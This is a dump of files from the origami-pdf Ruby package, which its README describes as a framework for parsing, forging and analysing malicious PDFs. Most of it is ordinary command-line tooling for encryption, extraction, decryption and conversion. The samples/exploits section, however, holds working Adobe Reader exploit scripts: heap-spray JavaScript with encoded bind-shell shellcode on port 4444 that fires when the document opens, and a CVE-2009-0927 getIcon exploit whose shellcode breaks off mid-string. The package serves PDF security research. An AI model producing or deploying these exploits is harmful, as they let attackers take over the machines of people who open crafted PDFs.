"#{TARGET_DIR}/#{TARGET_DIR}.rb" STREAM_DIR = "streams" def objectToRuby(obj, inclevel = 0, internalname = nil, do_convert = false) code = "" code << case obj when Origami::Null "Null.new" when Origami::Boolean, Origami::Number obj.value.to_s when Origami::String "'#{obj.value.gsub("'","\\\\'")}'" when Origami::Dictionary customclass = nil if obj.class != Origami::Dictionary p = (obj.class == Origami::Encoding) ? 0 : 1 customclass = obj.class.to_s.split('::')[p..-1].join('::') # strip Origami prefix if there is no collision end dictionaryToRuby(obj, inclevel, internalname, customclass) when Origami::Array arrayToRuby(obj, inclevel, internalname) when Origami::Stream streamToRuby(obj, internalname) when Origami::Name nameToRuby(obj) when Origami::Reference referenceToRuby(obj, internalname) else raise RuntimeError, "Unknown object type: #{obj.class}" end case obj when Origami::String, Origami::Dictionary, Origami::Array, Origami::Name code << ".to_o" if do_convert end code end def referenceToRuby(ref, internalname) varname = @var_hash[ref] if varname.nil? "nil" elsif @obj_route[0..@current_idx].include?(varname) @code_hash[varname] ||= {} @code_hash[varname][:afterDecl] ||= [] @code_hash[varname][:afterDecl] << "#{internalname} = #{varname}"#.to_o.set_indirect(true)" "nil" else @obj_route.push(varname) unless @obj_route.include?(varname) varname end end def nameToRuby(name) code = ':' valid = (name.value.to_s =~ /[+.:-]/).nil? code << '"' unless valid code << name.value.to_s code << '"' unless valid code end def arrayToRuby(arr, inclevel, internalname) i = 0 code = "\n" + " " * inclevel + "[" arr.each do |obj| subintname = "#{internalname}[#{i}]" code << "#{objectToRuby(obj, inclevel + 1, subintname)}" code << ", " unless i == arr.length - 1 i = i + 1 end code << "]" code end def dictionaryToRuby(dict, inclevel, internalname, customtype = nil) i = 0 code = "\n" + " " * inclevel if customtype code << "#{customtype}.new(#{dictionaryToHashMap(dict, inclevel, internalname)}" code << " " * inclevel + ")" else code << "{\n" dict.each_pair do |key, val| rubyname = nameToRuby(key) subintname = "#{internalname}[#{rubyname}]" if val.is_a?(Origami::Reference) and @var_hash[val] and @var_hash[val][0,3] == "obj" oldname = @var_hash[val] newname = (key.value.to_s.downcase + "_" + @var_hash[val][4..-1]).gsub('.','_') if not @obj_route.include?(oldname) @var_hash[val] = newname @code_hash[newname] = @code_hash[oldname] @code_hash.delete(oldname) end end code << " " * (inclevel + 1) + "#{rubyname} => #{objectToRuby(val, inclevel + 2, subintname)}" code << ", " unless i == dict.length - 1 i = i + 1 code << "\n" end code << " " * inclevel + "}" end code end def dictionaryToHashMap(dict, inclevel, internalname) i = 0 code = "\n" dict.each_pair do |key, val| rubyname = nameToRuby(key) subintname = "#{internalname}[#{rubyname}]" if val.is_a?(Origami::Reference) and @var_hash[val] and @var_hash[val][0,3] == "obj" oldname = @var_hash[val] newname = (key.value.to_s.downcase + "_" + @var_hash[val][4..-1]).gsub('.','_') if not @obj_route.include?(oldname) @var_hash[val] = newname @code_hash[newname] = @code_hash[oldname] @code_hash.delete(oldname) end end code << " " * (inclevel + 1) + "#{rubyname} => #{objectToRuby(val, inclevel + 2, subintname)}" code << ", " unless i == dict.length - 1 i = i + 1 code << "\n" end code end def streamToRuby(stm, internalname) dict = stm.dictionary.dup.delete_if{|k,v| k == :Length or k == :Filter} code = "Stream.new(" if @options[:xstreams] stmdir = "#{TARGET_DIR}/#{STREAM_DIR}" Dir::mkdir(stmdir) unless File.directory? stmdir stmfile = "#{stmdir}/stm_#{stm.reference.refno}.data" File.open(stmfile, "w") do |stmfd| stmfd.write stm.data end code << "File.read('#{STREAM_DIR}/stm_#{stm.reference.refno}.data')" else code << stm.data.inspect end code << ", #{dictionaryToHashMap(dict, 1, internalname)}" unless dict.empty? code << ")" if stm.dictionary.has_key? :Filter code << ".setFilter(#{objectToRuby(stm.Filter, 1, internalname)})" end code end Console.colorprint "[*] ", Console::Colors::RED puts "Loading document '#{TARGET}'" verbosity = @options[:verbose] ? Parser::VERBOSE_INSANE : Parser::VERBOSE_QUIET target = PDF.read(TARGET, :verbosity => verbosity) Console.colorprint "[*] ", Console::Colors::RED puts "Document successfully loaded into Origami" Dir::mkdir(TARGET_DIR) unless File.directory? TARGET_DIR fd = File.open(TARGET_FILE, 'w', 0700) DOCREF = "pdf" ORIGAMI_PATH = ORIGAMIDIR[0,1] == '/' ? ORIGAMIDIR : "../#{ORIGAMIDIR}" fd.puts < = Info: Encrypts a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" $: << ORIGAMIDIR require 'origami' end include Origami require 'optparse' class OptParser BANNER = <] [-p ] [-c ] [-s ] [--hardened] [-o ] Encrypts a PDF document. Supports RC4 40 to 128 bits, AES128, AES256. Bug reports or feature requests at: http://origami-pdf.googlecode.com/ Options: USAGE def self.parser(options) OptionParser.new do |opts| opts.banner = BANNER opts.on("-o", "--output FILE", "Output PDF file (stdout by default)") do |o| options[:output] = o end opts.on("-p", "--password PASSWORD", "Password of the document") do |p| options[:password] = p end opts.on("-c", "--cipher CIPHER", "Cipher used to encrypt the document (Default: AES)") do |c| options[:cipher] = c end opts.on("-s", "--key-size KEYSIZE", "Key size in bits (Default: 128)") do |s| options[:key_size] = s.to_i end opts.on("--hardened", "Use stronger key validation scheme (only AES-256)") do options[:hardened] = true end opts.on_tail("-h", "--help", "Show this message") do puts opts exit end end end def self.parse(args) options = { :output => STDOUT, :password => '', :cipher => 'aes', :key_size => 128, :hardened => false } self.parser(options).parse!(args) options end end begin @options = OptParser.parse(ARGV) target = (ARGV.empty?) ? STDIN : ARGV.shift params = { :verbosity => Parser::VERBOSE_QUIET, } pdf = PDF.read(target, params) pdf.encrypt( :user_passwd => @options[:password], :owner_passwd => @options[:password], :cipher => @options[:cipher], :key_size => @options[:key_size], :hardened => @options[:hardened] ) pdf.save(@options[:output], :noindent => true) rescue SystemExit rescue Exception => e STDERR.puts "#{e.class}: #{e.message} #{e.backtrace}" exit 1 end origami-pdf-1.2.7/bin/pdfextract0000755000175000017500000001712612133245664017010 0ustar terceiroterceiro#!/usr/bin/env ruby =begin = Author: Guillaume Delugré = Info: Extracts valuable data from a PDF document. Can extract: - decoded streams - JavaScript - file attachments = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" $: << ORIGAMIDIR require 'origami' end include Origami require 'optparse' require 'rexml/document' class OptParser BANNER = < [-afjms] [-d ] Extracts various data out of a document (streams, scripts, images, fonts, metadata, attachments). Bug reports or feature requests at: http://origami-pdf.googlecode.com/ Options: USAGE def self.parser(options) OptionParser.new do |opts| opts.banner = BANNER opts.on("-d", "--output-dir DIR", "Output directory") do |d| options[:output_dir] = d end opts.on("-s", "--streams", "Extracts all decoded streams") do options[:streams] = true end opts.on("-a", "--attachments", "Extracts file attachments") do options[:attachments] = true end opts.on("-f", "--fonts", "Extracts embedded font files") do options[:fonts] = true end opts.on("-j", "--js", "Extracts JavaScript scripts") do options[:javascript] = true end opts.on("-m", "--metadata", "Extracts metadata streams") do options[:metadata] = true end opts.on("-i", "--images", "Extracts embedded images") do options[:images] = true end opts.on_tail("-h", "--help", "Show this message") do puts opts exit end end end def self.parse(args) options = { } self.parser(options).parse!(args) options end end begin @options = OptParser.parse(ARGV) if ARGV.empty? STDERR.puts "Error: No filename was specified. #{$0} --help for details." exit 1 else target = ARGV.shift end unless [:streams,:javascript,:attachments,:fonts,:metadata,:images].any? {|opt| @options[opt]} @options[:streams] = @options[:javascript] = @options[:fonts] = @options[:attachments] = @options[:images] = true end if @options[:output_dir].nil? @options[:output_dir] = "#{File.basename(target, '.pdf')}.dump" end # Force data extraction, even for invalid FlateDecode streams. Origami::OPTIONS[:ignore_zlib_errors] = true OUTPUT_DIR = @options[:output_dir] Dir::mkdir(OUTPUT_DIR) unless File.directory?(OUTPUT_DIR) params = { :verbosity => Parser::VERBOSE_QUIET, } pdf = PDF.read(target, params) if @options[:streams] nstreams = 0 Dir::mkdir("#{OUTPUT_DIR}/streams") unless File.directory?("#{OUTPUT_DIR}/streams") pdf.root_objects.find_all{|obj| obj.is_a?(Stream)}.each do |stream| stream_file = "#{OUTPUT_DIR}/streams/stream_#{stream.reference.refno}.dmp" File.open(stream_file, "wb") do |fd| fd.write(stream.data) end nstreams += 1 end puts "Extracted #{nstreams} PDF streams to '#{OUTPUT_DIR}/streams'." end if @options[:javascript] nscripts = 0 Dir::mkdir("#{OUTPUT_DIR}/scripts") unless File.directory?("#{OUTPUT_DIR}/scripts") pdf.ls(/^JS$/).each do |script| script_file = "#{OUTPUT_DIR}/scripts/script_#{script.hash}.js" File.open(script_file, "wb") do |fd| fd.write( case script when Stream then script.data else script.value end ) end nscripts += 1 end # Also checking for presence of JavaScript in XML forms. if pdf.has_form? and pdf.Catalog.AcroForm.has_key?(:XFA) xfa = pdf.Catalog.AcroForm[:XFA].solve case xfa when Array then xml = "" i = 0 xfa.each do |packet| if i % 2 == 1 xml << packet.solve.data end i = i + 1 end when Stream then xml = xfa.data else reject("Malformed XFA dictionary") end xfadoc = REXML::Document.new(xml) REXML::XPath.match(xfadoc, "//script").each do |script| script_file = "#{OUTPUT_DIR}/script_#{script.hash}.js" File.open(script_file, "wb") do |fd| fd.write(script.text) end nscripts += 1 end end puts "Extracted #{nscripts} scripts to '#{OUTPUT_DIR}/scripts'." end if @options[:attachments] nattach = 0 Dir::mkdir("#{OUTPUT_DIR}/attachments") unless File.directory?("#{OUTPUT_DIR}/attachments") pdf.ls_names(Names::Root::EMBEDDEDFILES).each do |name, attachment| attached_file = "#{OUTPUT_DIR}/attachments/attached_#{File.basename(name)}" spec = attachment.solve if spec and spec.EF and f = spec.EF.F and f.is_a?(Stream) File.open(attached_file, "wb") do |fd| fd.write(f.data) end nattach += 1 end end puts "Extracted #{nattach} attachments to '#{OUTPUT_DIR}/attachments'." end if @options[:fonts] nfonts = 0 Dir::mkdir("#{OUTPUT_DIR}/fonts") unless File.directory?("#{OUTPUT_DIR}/fonts") pdf.root_objects.find_all{|obj| obj.is_a?(Stream)}.each do |stream| font = stream.xrefs.find{|obj| obj.is_a?(FontDescriptor)} if font font_file = "#{OUTPUT_DIR}/fonts/font_#{File.basename(font.FontName.value.to_s)}" File.open(font_file, "wb") do |fd| fd.write(stream.data) end nfonts += 1 end end puts "Extracted #{nfonts} fonts to '#{OUTPUT_DIR}/fonts'." end if @options[:metadata] nmeta = 0 Dir::mkdir("#{OUTPUT_DIR}/metadata") unless File.directory?("#{OUTPUT_DIR}/metadata") pdf.root_objects.find_all{|obj| obj.is_a?(MetadataStream)}.each do |stream| metadata_file = "#{OUTPUT_DIR}/metadata/metadata_#{stream.reference.refno}.xml" File.open(metadata_file, "wb") do |fd| fd.write(stream.data) end nmeta += 1 end puts "Extracted #{nmeta} metadata streams to '#{OUTPUT_DIR}/metadata'." end if @options[:images] nimages = 0 Dir::mkdir("#{OUTPUT_DIR}/images") unless File.directory?("#{OUTPUT_DIR}/images") pdf.root_objects.find_all{|obj| obj.is_a?(Graphics::ImageXObject)}.each do |stream| begin ext, image_data = stream.to_image_file image_file = "#{OUTPUT_DIR}/images/image_#{stream.reference.refno}.#{ext}" if ext != 'png' and stream.ColorSpace == Graphics::Color::Space::DEVICE_CMYK STDERR.puts "Warning: file '#{image_file}' is intended to be viewed in CMYK color space." end File.open(image_file, "wb") do |fd| fd.write(image_data) end nimages += 1 rescue Exception => e STDERR.puts "Unable to decode image (stream #{stream.reference.refno}). #{e.message}" end end puts "Extracted #{nimages} images to '#{OUTPUT_DIR}/images'." end rescue SystemExit rescue Exception => e STDERR.puts "#{e.class}: #{e.message}" exit 1 end origami-pdf-1.2.7/bin/pdf2pdfa0000755000175000017500000000415211645333134016322 0ustar terceiroterceiro#!/usr/bin/env ruby =begin = Author: Guillaume Delugré = Info: Enforces a document to be rendered as PDF/A. This will disable multimedia features and JavaScript execution in Adobe Reader. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" $: << ORIGAMIDIR require 'origami' end include Origami require 'optparse' class OptParser BANNER = <] [-o ] Enforces a document to be rendered as PDF/A. This will disable multimedia features and JavaScript execution in Adobe Reader. Bug reports or feature requests at: http://origami-pdf.googlecode.com/ Options: USAGE def self.parser(options) OptionParser.new do |opts| opts.banner = BANNER opts.on("-o", "--output FILE", "Output PDF file (stdout by default)") do |o| options[:output] = o end opts.on_tail("-h", "--help", "Show this message") do puts opts exit end end end def self.parse(args) options = { :output => STDOUT, } self.parser(options).parse!(args) options end end begin @options = OptParser.parse(ARGV) target = (ARGV.empty?) ? STDIN : ARGV.shift params = { :verbosity => Parser::VERBOSE_QUIET, } PDF.read(target, params).save(@options[:output], :intent => 'PDF/A', :noindent => true) rescue SystemExit rescue Exception => e STDERR.puts "#{e.class}: #{e.message}" exit 1 end origami-pdf-1.2.7/bin/pdfdecompress0000755000175000017500000000446411645333134017500 0ustar terceiroterceiro#!/usr/bin/env ruby =begin = Author: Guillaume Delugré = Info: Uncompresses all binary streams of a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" $: << ORIGAMIDIR require 'origami' end include Origami require 'optparse' class OptParser BANNER = <] [-p ] [-o ] Uncompresses all binary streams of a PDF document. Bug reports or feature requests at: http://origami-pdf.googlecode.com/ Options: USAGE def self.parser(options) OptionParser.new do |opts| opts.banner = BANNER opts.on("-o", "--output FILE", "Output PDF file (stdout by default)") do |o| options[:output] = o end opts.on_tail("-h", "--help", "Show this message") do puts opts exit end end end def self.parse(args) options = { :output => STDOUT, } self.parser(options).parse!(args) options end end begin @options = OptParser.parse(ARGV) target = (ARGV.empty?) ? STDIN : ARGV.shift params = { :verbosity => Parser::VERBOSE_QUIET, } pdf = PDF.read(target, params) pdf.root_objects.find_all { |obj| obj.is_a?(Stream) }.each { |stream| filters = stream.Filter filters = [ filters ] unless filters.is_a?(::Array) unless filters.any?{|filter| [ :JPXDecode, :DCTDecode, :JBIG2Decode ].include? filter} stream.rawdata = stream.data stream.dictionary.delete(:Filter) end } pdf.save(@options[:output], :noindent => true) rescue SystemExit rescue Exception => e STDERR.puts "#{e.class}: #{e.message}" exit 1 end origami-pdf-1.2.7/bin/pdf2graph0000755000175000017500000000531311645333134016511 0ustar terceiroterceiro#!/usr/bin/env ruby =begin = Author: Guillaume Delugré = Info: Generates a Graphviz DOT or GraphML file out of a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" $: << ORIGAMIDIR require 'origami' end include Origami require 'optparse' class OptParser BANNER = < [-f ] [-o ] Generates a Graphviz DOT file out of a PDF document. Bug reports or feature requests at: http://origami-pdf.googlecode.com/ Options: USAGE def self.parser(options) OptionParser.new do |opts| opts.banner = BANNER opts.on("-o", "--output FILE", "Output PDF file") do |o| options[:output] = o end opts.on("-f", "--format FORMAT", "File format for the generated graph, dot or graphml (Default: dot).") do |f| options[:format] = f end opts.on_tail("-h", "--help", "Show this message") do puts opts exit end end end def self.parse(args) options = { :format => 'DOT' } self.parser(options).parse!(args) options end end begin @options = OptParser.parse(ARGV) if ARGV.empty? STDERR.puts "Error: No filename was specified. #{$0} --help for details." exit 1 else target = ARGV.shift end unless ['DOT', 'GRAPHML'].include? @options[:format].upcase STDERR.puts "Error: Invalid format `#{format}'. #{0} --help for details." end if @options[:outfile].nil? @options[:outfile] = File.basename(target, '.pdf') + case @options[:format].upcase when 'DOT' then '.dot' when 'GRAPHML' then '.graphml' end end params = { :verbosity => Parser::VERBOSE_QUIET, } pdf = PDF.read(target, params) case @options[:format].upcase when 'DOT' then pdf.export_to_graph(@options[:outfile]) when 'GRAPHML' then pdf.export_to_graphml(@options[:outfile]) end rescue SystemExit rescue Exception => e STDERR.puts "#{e.class}: #{e.message}" exit 1 end origami-pdf-1.2.7/bin/pdfdecrypt0000755000175000017500000000421411645333134016777 0ustar terceiroterceiro#!/usr/bin/env ruby =begin = Author: Guillaume Delugré = Info: Decrypts a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Origami is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with Origami. If not, see . =end begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../lib" $: << ORIGAMIDIR require 'origami' end include Origami require 'optparse' class OptParser BANNER = <] [-p ] [-o ] Decrypts a PDF document. Supports RC4 40 to 128 bits, AES128, AES256. Bug reports or feature requests at: http://origami-pdf.googlecode.com/ Options: USAGE def self.parser(options) OptionParser.new do |opts| opts.banner = BANNER opts.on("-o", "--output FILE", "Output PDF file (stdout by default)") do |o| options[:output] = o end opts.on("-p", "--password PASSWORD", "Password of the document") do |p| options[:password] = p end opts.on_tail("-h", "--help", "Show this message") do puts opts exit end end end def self.parse(args) options = { :output => STDOUT, :password => '' } self.parser(options).parse!(args) options end end begin @options = OptParser.parse(ARGV) target = (ARGV.empty?) ? STDIN : ARGV.shift params = { :verbosity => Parser::VERBOSE_QUIET, :password => @options[:password] } PDF.read(target, params).save(@options[:output], :decrypt => true, :noindent => true) rescue SystemExit rescue Exception => e STDERR.puts "#{e.class}: #{e.message}" exit 1 end origami-pdf-1.2.7/bin/pdfsh0000755000175000017500000000036411567241155015745 0ustar terceiroterceiro#!/usr/bin/env ruby begin require 'irb' rescue LoadError abort "Error: you need to install irb to run this application." end $:.unshift "#{File.dirname(__FILE__)}/shell" ENV["IRBRC"] = "#{File.dirname(__FILE__)}/shell/.irbrc" IRB.start origami-pdf-1.2.7/README0000644000175000017500000000324011654506427015022 0ustar terceiroterceiroNAME origami DESCRIPTION Origami is a framework written in Ruby designed to parse, analyze, and forge PDF documents. This is not a PDF rendering library, it aims at providing a scripting tool for generating and analyzing malicious PDF files. As well, it can be used to create on-the-fly customized PDFs, or to inject evil code into already existing documents. VERSION 1.2 OPTIONAL DEPENDENCIES - Ruby-GTK2 (only for GUI), http://ruby-gnome2.sourceforge.jp/ - Ruby with OpenSSL support - TheRubyRacer gem (only for JavaScript support) INSTALL Stable: gem install origami Devel: hg clone https://origami-pdf.googlecode.com/hg/ origami DIRECTORIES ``lib/`` Core scripts used to parse a PDF file. All objects and features are provided here. ``samples/`` Many samples, mostly sorted to generate specially crafted PDFs. ``bin/`` Useful tools based on Origami. ``test/`` Test case units. HOMEPAGE http://aslr.fr/pages/Origami CONTRIBUTORS Guillaume Delugré - Author Frédéric Raynal - Contributor LICENSE This software is distributed under the LGPL license. See the COPYING.LESSER file for more details. Exception is for the PDF Walker graphical interface located in subdirectory bin/gui, which is distributed under the GPL license. See bin/gui/COPYING file for more details. NOTES It contains many bugs and many incomplete features. If you encounter a problem, feel free to report it by mail at , with a short explanation of what you did and any necessary PDF documents. Thanks. origami-pdf-1.2.7/Rakefile.rb0000755000175000017500000000364212144412703016206 0ustar terceiroterceiro# encoding: UTF-8 require 'rubygems' require 'rdoc/task' require 'rake/testtask' require 'rubygems/package_task' spec = Gem::Specification.new do |s| s.name = "origami" s.version = "1.2.6" s.author = "Guillaume Delugre" s.email = "guillaume at security-labs dot org" s.homepage = "http://code.google.com/p/origami-pdf" s.platform = Gem::Platform::RUBY s.summary = "Origami aims at providing a scripting tool to generate and analyze malicious PDF files." s.description = < [:package] Gem::PackageTask.new(spec) do |pkg| pkg.need_tar = true end desc "Generate rdoc documentation" Rake::RDocTask.new("rdoc") do |rdoc| rdoc.rdoc_dir = "doc" rdoc.title = "Origami" rdoc.options << "-U" << "-N" rdoc.options << "-m" << "Origami::PDF" rdoc.rdoc_files.include("lib/origami/**/*.rb") end desc "Run the test suite" Rake::TestTask.new do |t| t.verbose = true t.libs << "test" t.test_files = FileList["test/ts_pdf.rb"] end task :clean do %x{rm -rf pkg doc} end origami-pdf-1.2.7/CHANGELOG0000644000175000017500000000453311641106114015343 0ustar terceiroterceiro# CHANGELOG 1.2.0 (29/09/11): |origami|: - Support for JavaScript emulation based on V8 (requires therubyracer gem). 1.1.0 (14/09/11): |origami| - Support for standard security handler revision 6. 1.0.2 (25/05/11): - Added a Rakefile to run unit tests, build rdoc and build gem. - Added a Ruby shell for Origami. - Added a bin folder, with some very useful command-line tools. - Can now be installed as a RubyGem. |origami|: - AESV3 support (AES256 encryption/decryption). - Encryption/decryption can be achieved with or without openssl. - Changed PDF#encrypt prototype. - Support for G3 unidimensional encoding/decoding of CCITTFax filter. - Support for TIFF stream predictor functions. - Name trees lookup methods. - Renamed PDF#saveas to PDF#save. - Lots of bug fixes. |doc|: - Updated. beta3 (26/08/10): |origami|: - Faster decryption process. - Can now properly parse objects with no endobj token. |walker|: - Image viewer. beta2 (01/04/10): Directory tree has changed. Sources are in the origami folder, and you have to require origami.rb located in the root directory. |origami|: - Added a force flag to detect PDF header in the file. - Support for Flash/RichMedia integration. - PDF#objects prototype has changed. - XFA forms. - Fixed various bugs. |walker|: - Search feature. beta1 (15/09/09): |sources/parser|: - Renamed 'Action::WindowsApplication' to 'Action::Launch::WindowsLaunchParams'. - Basic support for graphics drawing as lines, colors, shading, shapes... - Support for numerical functions. - Support for date strings. - Added PDF#insert_page(index, page) method. - Added a forms widgets template. - Ability to delinearize documents. - Fixed various bugs. beta0 (06/07/09): |sources/parser|: - Support for XRef streams. - Support for Object streams creation. - Support for PNG stream predictor functions. |sources/scripts/scan|: - Added a scanning script. |sources/scripts/antivir|: - Added an cleaning script. |sources/scripts/metadata|: - Metadata printer. |sources/samples/open|: - Various methods to trigger an action at the document opening. alpha1 (19/06/09): |sources/scripts/crypto|: - Added an encryption script. |sources/parser|: - Bugfix in Array handling. origami-pdf-1.2.7/samples/0000755000175000017500000000000012427006355015601 5ustar terceiroterceiroorigami-pdf-1.2.7/samples/exploits/0000755000175000017500000000000012427006355017450 5ustar terceiroterceiroorigami-pdf-1.2.7/samples/exploits/getannots.rb0000755000175000017500000000366112122110015021765 0ustar terceiroterceiro#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read(ARGV[0]) jscript = %Q| //############## //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux // //Steps: //- create a pdf with an annotation (a note) (i used an annotation with a very long AAAAA name, but that might be omitted) //- attach the following script to the OpenAction of the pdf. //############## app.alert('start heap spray...'); var memory; var nop = unescape("%u9090%u9090"); //long nop will also force the address to go to 0x90909090 so 2 steps in one var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444 while(nop.length <= 0x100000/2) { nop += nop; } nop = nop.substring(0,0x100000/2 - shellcode.length); memory = new Array(); for(i=0; i<0x3; i++) { //we should at least overwrite 0x90909090 memory[i] = nop + shellcode; } //start exploit now start(); function start() { // this.getAnnots(-134217728,-134217728,-134217728,-134217728); app.alert("boom?"); this.getAnnots(-134217728,-134217729,-134217730,-134217731); //get control on EDI } //# milw0rm.com [2009-04-29] | #exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode])) exploit = Action::JavaScript Stream.new(jscript) pdf.onDocumentOpen( exploit ) annot = Annotation::Text.new annot.Contents = "Hello world" annot.Rect = [ 512, 512, 660, 606] annot.F = Annotation::Flags::HIDDEN pdf.pages[0].add_annot( annot ) pdf.save("#{File.basename($0, '.rb')}.pdf") origami-pdf-1.2.7/samples/exploits/exploit_customdictopen.rb0000755000175000017500000000272212122110015024564 0ustar terceiroterceiro#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read(ARGV[0]) jscript = %Q| //############## //Exploit made by Arr1val //Proved in adobe 9.1 and adobe 8.1.4 on linux //############## app.alert('start heap spray...'); var memory; var nop = unescape("%u9090%u9090"); var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444 while(nop.length <= 0x10000/2) { nop += nop; } nop = nop.substring(0,0x10000/2 - shellcode.length); memory = new Array(); for (i=0; i<0x6ff0; i++) { memory[i] = nop + shellcode; } //start exploit now start(); function start() { this.spell.customDictionaryOpen(0,nop);//so the exploit jumps actually to 0x90909090. Place a very long 'AAAA' at the second param to go to 0x41414141 } //############################ //# milw0rm.com [2009-04-29] | #exploit = Action::JavaScript Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]) exploit = Action::JavaScript Stream.new(jscript) pdf.onDocumentOpen( exploit ) pdf.save("#{File.basename($0, '.rb')}.pdf") origami-pdf-1.2.7/samples/exploits/cve-2009-0927-geticon.rb0000755000175000017500000000502212122110015023146 0ustar terceiroterceiro#!/usr/bin/env ruby # # References: # CVE 2009-0927 # http://www.securityfocus.com/bid/34169 # http://www.zerodayinitiative.com/advisories/ZDI-09-014/ # #Vulnerable: Adobe Reader and Adobe Acrobat Professional < 8.1.4 # # This exploit / PoC spawns a calc on Windows. # # begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read(ARGV[0]) jscript = %Q| function spary() { var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98\ bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0\ ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8\ c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); //shellcode = unescape("%u7dbf%uca55%u2ba7%udbc9%ub1d3%ud914%u2474%u5bf4%ueb83%u31fc%u0e7b%u7b03%u9f0e%ufba0%ua87c%uafa8%u05c1%u5245%u484f%u3429%u0a82%ue711%u624e%u1559%u2e7e%u0acf%u9ed1%uca86%u78bb%uc1c1%u0dbc%uddb0%u090f%ub883%u91a2%uf4a0%u5c5b%u66a6%u34fa%ud098%u4830%u99af%u2032%u751f%ud8b0%ua637%u7154%u31a6%ud17b%ucb65%u619d%u0682%u41dd"); garbage = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\ 